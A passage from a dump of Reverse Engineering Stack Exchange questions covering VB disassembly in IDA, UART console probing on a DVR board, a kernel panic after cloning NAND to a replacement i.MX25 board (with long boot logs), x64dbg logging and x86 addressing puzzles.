+    Form2.Show vbModal
+    gsCurrentLine = ""START: gFormToActivate.ZOrder 0""
+    gFormToActivate.ZOrder 0
+    gsCurrentLine = ""END: gFormToActivate.ZOrder 0""
+End Sub
+
+ +Using IDA Pro I look at the disassembly: + +
    .text:00403674 C7 45 D4 18 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aStartSetGformt ; ""START: Set gFormToActivate = FormDoDo""
+    .text:0040367B C7 45 CC 08 00 00 00                                            mov     dword ptr [ebp-34h], 8
+    .text:00403682 FF D7                                                           call    edi ; __vbaVarCopy
+    .text:00403684 A1 24 40 40 00                                                  mov     eax, dword_404024
+    .text:00403689 85 C0                                                           test    eax, eax
+    .text:0040368B 75 10                                                           jnz     short loc_40369D
+    .text:0040368D 68 24 40 40 00                                                  push    offset dword_404024
+    .text:00403692 68 60 15 40 00                                                  push    offset dword_401560
+    .text:00403697 FF 15 4C 71 40 00                                               call    ds:__vbaNew2
+    .text:0040369D
+    .text:0040369D                                                 loc_40369D:                             ; CODE XREF: .text:0040368B↑j
+    .text:0040369D 8B 0D 24 40 40 00                                               mov     ecx, dword_404024
+    .text:004036A3 68 E4 26 40 00                                                  push    offset dword_4026E4
+    .text:004036A8 51                                                              push    ecx
+    .text:004036A9 FF 15 70 71 40 00                                               call    ds:__vbaCastObj
+    .text:004036AF 50                                                              push    eax
+    .text:004036B0 68 60 40 40 00                                                  push    offset dword_404060
+    .text:004036B5 FF 15 08 71 40 00                                               call    ds:__vbaObjSet
+    .text:004036BB 8D 55 CC                                                        lea     edx, [ebp-34h]
+    .text:004036BE 8D 4D DC                                                        lea     ecx, [ebp-24h]
+    .text:004036C1 C7 45 D4 68 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aEndSetGformtoa ; ""END: Set gFormToActivate = FormDoDo""
+
+ +Based on this I suspected form variable might be stored at ""offset dword_404060"". Any suggestions on good next steps to work out in more detail how to get the properties of this object? In WinDbg looking a this address shows the following. I have been reviewing http://sandsprite.com/vb-reversing/files/Alex_Ionescu_vb_structures.pdf to better understand VB structures but haven't worked out a solution yet +" +"['hardware', 'serial-communication']"," Title: Can a UART port change baud rate at runtime?Body: I've been probing this CCTV DVR board trying to find a serial port to see if I can get console access to it. I found a set of 4 through holes with no headers that looked like a good candidate. I hooked up to my Bus Pirate in UART mode at a baud rate of 115200 and it seemed promising at first: + +
System startup
+
+U-Boot 2010.06 (Dec 27 2018 - 17:06:41)
+
+Check Flash Memory Controller v100 ... Found
+SPI Nor(cs 0) ID: 0xc2 0x20 0x18
+Block:64KB Chip:16MB Name:""MX25L128XX""
+SPI Nor total size: 16MB
+*** Warning - bad CRC, using default environment
+
+In:    serial
+Out:   serial
+Err:   serial
+
+ +Then things get weird. The next line has legible text but some garbage in it, then after that nothing but garbage: + +
�P���Starting the controller
++*/�)))!)       �!�+!%) !      �)*+��
+
+%+���5�!                                -��5�!
+        !�!
+           +-���
+                !���
+�%      %!-     �)�����+��+     !       %!!5!!�)!+!
++)      %%�+
+                %!5                                                                                                                                                                                          )
+                   ��)5 !5)!)   %               �)!%
+        -
+         %)     )       5)�-�
+!                               )��!�   !
+ -      )!
+%-
+  !%!   !       !
+
+!��
+%)!�%   %%)!    !�      �
+%!�))   !)!)!)!%-
+�-))!   ��      ��)))!! ��%
+�%!)�!)%)�))%              �)           %-%+�
+�)      !�5�    !       �               !       -!!
+            )%!
+��)�)%�)���)
+
+ +Is this because the baud rate is suddenly changing? Or is it more likely that the output is switching to some proprietary format? + +I also didn't have a super solid connection to the board when trying this, could it be that the connection dropped and then reconnected out of sync or something? +" +['x64dbg']," Title: How to log CPU instructions executed by program with x64dbg?Body: How to log CPU instructions executed by program with x64dbg? + +I saw x64dbg - see the current position? question, but I can't find the way to log instructions. + +Thanks! +" +['assembly']," Title: Can I traverse the entire WORD array of 4 elements with QWORD PTR?Body: I want to change values of all WORD array of 4 elements by one step using QWORD PTR + +
mov ebx, OFFSET arr ; arr is WORD of 1,2,3,4 
+xor qword ptr [ebx], 8000800080008000h ; I get error of constant value too large
+
+" +"['firmware', 'linux', 'embedded']"," Title: Linux Embedded board - Kernel Panic problemsBody: I need to duplicate an old embedded board based on a Yocto-based Linux. +I have bought a new board with the same part number and now I need to put the old software in the new board (the new board has only u-boot installed). +The original board has u-boot with few command list, so I had to dumped the memory by serial terminal. +I got some file in .txt with the internal memory data and I convert them in .bin with Linux xxd -r command and i put the data in my new board. +When I turn on my new board, the Linux kernel starts but it can't find the partition and stops to work and says: +
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
+
+

OLD BOARD BOOT:

+
U-Boot 2009.01 (May 28 2011 - 03:25:24)
+
+CPU:   Freescale i.MX25 at 398 MHz
+Board: GEA_M6425 
+I2C:   ready
+DRAM:  64 MB
+NAND:  Bad block table found at page 131008, version 0x01
+Bad block table found at page 130944, version 0x01
+256 MiB
+NAND read: device 0 offset 0xc0000, size 0x40000
+    262144 bytes read: OK
+In:    serial
+Out:   serial
+Err:   serial
+i2c_addr:chip address cycle fail(a1)
+Net:   miiphy_register: non unique device name 'FEC0'
+FEC0, FEC0
+Version: 
+Note:    
+Auto-update from TFTP: trying update file 'prog.scr'
+FEC: enable RMII gasket
+Using FEC0 device
+TFTP from server 192.168.140.12; our IP address is 192.168.140.30
+Filename 'prog.scr'.
+Load address: 0x81000000
+Loading: *T T T T T T T T T T T T T T T T T T T T 
+Retry count exceeded; starting again
+Can't load update file, aborting auto-update
+Auto-update from NAND:
+NAND read: device 0 offset 0x1000000, size 0x20
+    32 bytes read: OK
+No image found.
+Hit any key to stop autoboot:  3  2  1  0 
+NAND read: device 0 offset 0x100000, size 0x300000
+    3145728 bytes read: OK
+## Booting kernel from Legacy Image at 81000000 ...
+    Image Name:   Linux-2.6.31-rc9
+    Image Type:   ARM Linux Kernel Image (uncompressed)
+    Data Size:    2318824 Bytes =  2.2 MB
+    Load Address: 80008000
+    Entry Point:  80008000
+    Verifying Checksum ... OK
+    Loading Kernel Image ... OK
+OK
+Starting kernel ...
+Uncompressing Linux....................................................................................................................................................... done, booting the kernel.
+Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011
+CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Freescale MX25 3-Stack Board
+Ignoring unrecognised tag 0x54410008
+Memory policy: ECC disabled, Data cache writeback
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:320x240,16bpp,Var-QVGA
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)
+NR_IRQS:272
+MXC IRQ initialized
+Clock input source is 24000000
+Console: colour dummy device 80x30
+Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+regulator: core version 0.5
+NET: Registered protocol family 16
+AIPS1 VA base: 0xfc000000
+CPU is i.MX25 Revision 1.0
+MXC GPIO hardware
+rate 22166666
+Using SDMA I.API
+MXC DMA API initialized
+bio: create slab <bio-0> at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+MXC I2C driver
+i2c-adapter i2c-0: ACK not received 
+NET: Registered protocol family 2
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+Bus freq driver module loaded
+usb: Host 2 host (serial) registered
+usb: DR host (utmi) registered
+JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.
+SGI XFS with security attributes, large block/inode numbers, no debug enabled
+msgmni has been set to 117
+alg: No test for stdrng (krng)
+io scheduler noop registered
+io scheduler anticipatory registered
+io scheduler deadline registered
+io scheduler cfq registered (default)
+MXC Backlight Device mxc_lcdc_bl.0 Initialized.
+Console: switching to colour frame buffer device 40x30
+mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.
+mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.
+Serial: MXC Internal UART driver
+mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX
+console [ttymxc0] enabled
+mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX
+mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX
+brd: module loaded
+loop: module loaded
+Freescale FlexCAN Driver 
+FEC Ethernet Driver
+fec_enet_mii_bus: probed
+IEEE1588: ptp-timer is unavailable
+console [netcon0] enabled
+netconsole: network logging started
+MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x20, Chip ID: 0xaa (ST Micro NAND 256MiB 1,8V 8-bit)
+Searching for RedBoot partition table in NAND 256MiB 1,8V 8-bit at offset 0xff60000
+No RedBoot partition table detected in NAND 256MiB 1,8V 8-bit
+Creating 5 MTD partitions on "NAND 256MiB 1,8V 8-bit":
+0x000000000000-0x000000100000 : "nand.bootloader"
+0x000000100000-0x000000400000 : "nand.kernel"
+0x000000400000-0x00000fc00000 : "nand.rootfs"
+0x00000fc00000-0x00000fd00000 : "nand.configure"
+0x00000fd00000-0x000010000000 : "nand.userfs"
+ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
+fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1
+fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400
+fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 1 port detected
+fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2
+fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000
+fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00
+usb usb2: configuration #1 chosen from 1 choice
+hub 2-0:1.0: USB hub found
+hub 2-0:1.0: 1 port detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+mice: PS/2 mouse device common for all mice
+i.MX ADC at 0x50030000 irq 46
+sdhci: Secure Digital Host Controller Interface driver
+sdhci: Copyright(c) Pierre Ossman
+mxsdhci: MXC Secure Digital Host Controller Interface driver
+mxsdhci: MXC SDHCI Controller Driver. 
+mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA
+Advanced Linux Sound Architecture Driver Version 1.0.20.
+regulator: Unable to get requested regulator: VDDIO
+regulator: Unable to get requested regulator: VDDA
+regulator: Unable to get requested regulator: VDDD
+sgtl5000-i2c 0-000a: SGTL5000 revision 17
+No device for DAI imx-ssi-1-0
+No device for DAI imx-ssi-1-1
+No device for DAI imx-ssi-2-0
+No device for DAI imx-ssi-2-1
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83ab0000 buf->area=fde56000 size=65536
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83ac0000 buf->area=fde66000 size=65536
+asoc: SGTL5000 <-> imx-ssi-1-0 mapping ok
+ALSA device list:
+    #0: imx-3stack (SGTL5000)
+oprofile: using timer interrupt.
+TCP cubic registered
+NET: Registered protocol family 17
+can: controller area network core (rev 20090105 abi 8)
+NET: Registered protocol family 29
+can: raw protocol (rev 20090105)
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+Static Power Management for Freescale i.MX25
+on-off key pressed
+input: imx_adc_ts as /class/input/input0
+i.MX ADC input touchscreen loaded.
+JFFS2 doesn't use OOB.
+VFS: Mounted root (jffs2 filesystem) on device 31:2.
+Freeing init memory: 124K
+
+init started: BusyBox v1.15.3 (2011-09-27 21:22:33 CEST)
+starting pid 898, tty '': '/etc/init.d/rcS'
+Initializing mdev dynamic device directory ... done
+eth0: Freescale FEC PHY driver [Generic PHY] (mii_bus:phy_addr=0:00, irq=-1)
+
+can0 bitrate: 175000
+dropbear already configured
+Starting Dropbear SSH server: dropbear.
+ts already configured
+
+starting pid 939, tty '/dev/ttymxc0': '-/bin/sh'
+
+BusyBox v1.15.3 (2011-09-27 21:22:33 CEST) built-in shell (ash)
+Enter 'help' for a list of built-in commands.
+
+/ # 
+
+

NEW BOARD BOOT:

+
U-Boot 2009.01-dirty (Nov 15 2013 - 17:55:59)
+CPU:   Freescale i.MX25 at 398 MHz
+Board: GEA_M6425 
+I2C:   ready
+DRAM:  64 MB
+NAND:  Bad block table not found for chip 0
+Bad block table not found for chip 0
+Bad block table written to 0x0ffe0000, version 0x01
+Bad block table written to 0x0ffc0000, version 0x01
+256 MiB
+Use default panel_info values
+In:    serial
+Out:   serial
+Err:   serial
+i2c_addr:chip address cycle fail(a1)
+Net:   FEC0
+Version: 
+Note:    
+Hit any key to stop autoboot:  3  2  1  0 
+NAND read: device 0 offset 0x100000, size 0x300000
+    3145728 bytes read: OK
+## Booting kernel from Legacy Image at 81000000 ...
+    Image Name:   Linux-2.6.31-rc9
+    Image Type:   ARM Linux Kernel Image (uncompressed)
+    Data Size:    2318824 Bytes =  2.2 MB
+    Load Address: 80008000
+    Entry Point:  80008000
+    Verifying Checksum ... OK
+    Loading Kernel Image ... OK
+OK
+Starting kernel ...
+Uncompressing Linux....................................................................................................................................................... done, booting the kernel.
+Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011
+CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Freescale MX25 3-Stack Board
+Ignoring unrecognised tag 0x54410008
+Memory policy: ECC disabled, Data cache writeback
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:800x480,16bpp,Amp-WD
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)
+NR_IRQS:272
+MXC IRQ initialized
+Clock input source is 24000000
+Console: colour dummy device 80x30
+Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+regulator: core version 0.5
+NET: Registered protocol family 16
+AIPS1 VA base: 0xfc000000
+CPU is i.MX25 Revision 1.0
+MXC GPIO hardware
+rate 22166666
+Using SDMA I.API
+MXC DMA API initialized
+bio: create slab <bio-0> at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+MXC I2C driver
+i2c-adapter i2c-0: ACK not received 
+NET: Registered protocol family 2
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+Bus freq driver module loaded
+usb: Host 2 host (serial) registered
+usb: DR host (utmi) registered
+JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.
+SGI XFS with security attributes, large block/inode numbers, no debug enabled
+msgmni has been set to 117
+alg: No test for stdrng (krng)
+io scheduler noop registered
+io scheduler anticipatory registered
+io scheduler deadline registered
+io scheduler cfq registered (default)
+MXC Backlight Device mxc_lcdc_bl.0 Initialized.
+Console: switching to colour frame buffer device 100x30
+mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.
+mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.
+Serial: MXC Internal UART driver
+mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX
+console [ttymxc0] enabled
+mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX
+mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX
+brd: module loaded
+loop: module loaded
+Freescale FlexCAN Driver 
+FEC Ethernet Driver
+fec_enet_mii_bus: probed
+IEEE1588: ptp-timer is unavailable
+console [netcon0] enabled
+netconsole: network logging started
+MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x2c, Chip ID: 0xaa (Micron NAND 256MiB 1,8V 8-bit)
+Unrecognized NAND Flash device.
+ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
+fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1
+fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400
+fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 1 port detected
+fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2
+fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000
+fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00
+usb usb2: configuration #1 chosen from 1 choice
+hub 2-0:1.0: USB hub found
+hub 2-0:1.0: 1 port detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+mice: PS/2 mouse device common for all mice
+i.MX ADC at 0x50030000 irq 46
+sdhci: Secure Digital Host Controller Interface driver
+sdhci: Copyright(c) Pierre Ossman
+mxsdhci: MXC Secure Digital Host Controller Interface driver
+mxsdhci: MXC SDHCI Controller Driver. 
+mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA
+Advanced Linux Sound Architecture Driver Version 1.0.20.
+regulator: Unable to get requested regulator: VDDIO
+regulator: Unable to get requested regulator: VDDA
+regulator: Unable to get requested regulator: VDDD
+sgtl5000-i2c 0-000a: SGTL5000 revision 17
+No device for DAI imx-ssi-1-0
+No device for DAI imx-ssi-1-1
+No device for DAI imx-ssi-2-0
+No device for DAI imx-ssi-2-1
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83a90000 buf->area=fdf82000 size=65536
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83aa0000 buf->area=fdf92000 size=65536
+asoc: SGTL5000 <-> imx-ssi-1-0 mapping ok
+ALSA device list:
+    #0: imx-3stack (SGTL5000)
+oprofile: using timer interrupt.
+TCP cubic registered
+NET: Registered protocol family 17
+can: controller area network core (rev 20090105 abi 8)
+NET: Registered protocol family 29
+can: raw protocol (rev 20090105)
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+Static Power Management for Freescale i.MX25
+on-off key pressed
+input: imx_adc_ts as /class/input/input0
+i.MX ADC input touchscreen loaded.
+Root-NFS: No NFS server available, giving up.
+VFS: Unable to mount root fs via NFS, trying floppy.
+List of all partitions:
+No filesystem could mount root, tried:  jffs2
+Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
+
+Can you help me to understand the problem? +
+These are the output of file command: +
nand_bootloader_0x0000000-0x00FFFFF.bin: FoxPro FPT, blocks size 0, next free block index 1778450666
+
+nand_kernel_0x0100000-0x03FFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9, Linux/ARM, OS Kernel Image (Not compressed), 2318824 bytes, Tue Sep 27 21:36:01 2011, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0x230C882F, Data CRC: 0xCD73A8A7
+
+nand_rootfs_1_0x0400000-0x06FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+
+nand_rootfs_2_0x0700000-0x09FFFFF.bin: Linux jffs2 filesystem data little endian
+
+nand_rootfs_3_0x0A00000-0x0EFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_4_0x0F00000-0x13FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_5_0x1400000-0x18FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_6_0x1900000-0x1DFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+
+nand_rootfs_7_0x1E00000-0x22FFFFF.bin: Linux jffs2 filesystem data little endia
+
+nand_configure_0xFC00000-0xFCFFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9-gec38174-dirty, Linux/ARM, OS Kernel Image (Not compressed), 2321092 bytes, Fri Oct  8 23:26:48 2010, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xE1994975, Data CRC: 0x55F17506
+
+nand_userfs_0xFD00000-0xFFFFFFF.bin: data
+
+(rootfs is split into 7 files). +UPDATES: +Hi, I made a contiguous file with your command. Now I set the NFS server on my linux PC (in /etc/exports file I put the string /srv myip/my mask(rw,sync,no_subtree_check,no_root_squash) and save. I put the nand_rootfs.bin file in folder /srv and after i tried to setup UBOOT in my board. This is the printenv command of my Uboot: +
bootdelay=3
+baudrate=115200
+loadaddr=0x81000000
+netdev=eth0
+ethprime=fec
+bootargs_nand=console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=
+mxcfb:320x240,16bpp,Var-QVGA
+bootcmd_nand=nand read 81000000 100000 300000; bootm 81000000
+bootcmd_tftp=tftp uImage; bootm
+mirror_update=enable
+tftp_timeout=6000
+tftp_retry=20
+checksum_control=false
+ethact=FEC0
+filesize=27B84
+fileaddr=80800000
+offset=80000
+GEA_SN=A54673
+fec_addr=9C:53:CD:05:5E:C2
+fecaddr=9C:53:CD:05:5E:C2
+ethaddr=9C:53:CD:05:5E:C2
+splashload=nand read 80800000 c0000 40000
+splashimage=80800000
+lcd_name=Var-QVGA
+splashpos=0,0
+bootcmd=run bootcmd_nand
+bootargs=console=ttymxc0,115200 root=/dev/mtdblock2 rw rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA mtdparts=nand:1M(nand.bootloader),3M(nand.kernel),-(rootfs)
+ipaddr=192.168.11.60
+serverip=192.168.11.64
+bootargs_nfs=console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA
+
+Environment size: 991/262140 bytes
+
+When I run the command: +
run bootargs_nfs
+
+I get: +
Unknown command 'console=ttymxc0,115200' - try 'help'
+
+Is this procedure correct ? I modify the bootargs_nfs with command: +
setenv 'bootargs_nfs console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA'
+
+" +"['ida', 'disassembly', 'stack-variables']"," Title: IDA 7.0: Why does editing this function result in red-marked stack-pointer offsets?Body: I tried to fix the size of both the saved registers and the local variable area using IDA's ""Edit function"" option as IDA could not recognize it properly by itself. + +Unedited function: + + + + +Corrected function: + + + + +I can't see anything wrong with [rsp+20h] as it points into the fixed allocation of 0x48 bytes. +So what does that red mark indicate and what causes it? +" +"['ida', 'disassembly', 'x86']"," Title: X86 access to global strings patternBody: While reversing some x86 executables, I came across a pattern of addressing globals, that I don't familiar with, but it looks like IDA is, and I would like to know more about it. + +
.text:00002560             public start
+.text:00002560             start proc near
+.text:00002560 mov     ebx, [esp+0]
+.text:00002563 ret          
+
+.text:0001D233 push    ebx
+.text:0001D234 call    start ; ebx is initialized here 
+.text:0001D239 add     ebx, 1805Bh 
+
+.text:0001D25A lea     edi, (aLsi_0 - 35294h)[ebx] ; ""lsi"" <---- Ida recognizes here an access to global string.
+
+ +I saw this pattern in many different binaries. Does anyone know what is the name of this kind of access and where can I read more about it? +" +"['firmware', 'linux', 'firmware-analysis']"," Title: I need help reverse engineering my ereader (trying to get into the shell)Body: I'm trying to reverse engineer my E-Reader. It's a Denver EBO-620. I want to change the off screen image and add my own fonts. With help of Reddit I've managed to log the startup sequence (shown down here), but I'm not sure what my next steps should be. + +Any help is greatly appreciated! + +
    =~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2020.05.27 18:56:10 =~=~=~=~=~=~=~=~=~=~=~=
+   Âÿ ÿHELLO! BOOT0 is starting!
+initializing SDRAM OK.
+NAND_RequestDMA  ok
+Succeed in opening nand flash.
+Succeed in reading Boot1 file head.
+The size of Boot1 is 0x00034000.
+The file stored in 0X00000000 of block 2 is perfect.
+Check is correct.
+Ready to disable icache.
+Succeed in loading Boot1.
+Jump to Boot1.
+begin to init file system
+bat vol = 4046
+1
+NB1 : enter NFB_Init
+
+nand_for_boot1.c 135get the good blk ratio from hwscan : 631571392 
+
+NB1 : enter phy init
+
+[NAND] nand driver version: 0x0x00000002, 0x0x00000011, data: 0x20120926
+
+NAND_RequestDMA  ok
+
+[SCAN_DBG] Nand flash chip id is:0x0x0000002c 0x0x00000044 0x0x00000044 0x0x00000000 0x0x8042506c 0x0x0000004b
+
+
+
+
+
+[SCAN_DBG] ==============Nand Architecture Parameter==============
+
+[SCAN_DBG]    Nand Chip ID:         0x0x4b44442c 0x0xffffffff
+
+[SCAN_DBG]    Nand Chip Count:      0x0x00000001
+
+[SCAN_DBG]    Nand Chip Connect:    0x0x00000001
+
+[SCAN_DBG]    Nand Rb Connect Mode:      0x0x00000001
+
+[SCAN_DBG]    Sector Count Of Page: 0x0x00000010
+
+[SCAN_DBG]    Page Count Of Block:  0x0x00000100
+
+[SCAN_DBG]    Block Count Of Die:   0x0x00000800
+
+[SCAN_DBG]    Plane Count Of Die:   0x0x00000002
+
+[SCAN_DBG]    Die Count Of Chip:    0x0x00000001
+
+[SCAN_DBG]    Bank Count Of Chip:   0x0x00000001
+
+[SCAN_DBG]    Optional Operation:   0x0x00000008
+
+[SCAN_DBG]    Access Frequence:     0x0x00000028
+
+[SCAN_DBG]    ECC Mode:             0x0x00000005
+
+[SCAN_DBG]    Read Retry Type:      0x0x00000000
+
+[SCAN_DBG]    DDR Type:             0x0x00000000
+
+[SCAN_DBG] =======================================================
+
+
+
+[SCAN_DBG] ==============Optional Operaion Parameter==============
+
+[SCAN_DBG]    MultiPlaneReadCmd:      0x0x00000000, 0x0x00000030
+
+[SCAN_DBG]    MultiPlaneWriteCmd:     0x0x00000011, 0x0x00000080
+
+[SCAN_DBG]    MultiPlaneCopyReadCmd:  0x0x00000000, 0x0x00000000, 0x0x00000035
+
+[SCAN_DBG]    MultiPlaneCopyWriteCmd: 0x0x00000085, 0x0x00000011, 0x0x00000080
+
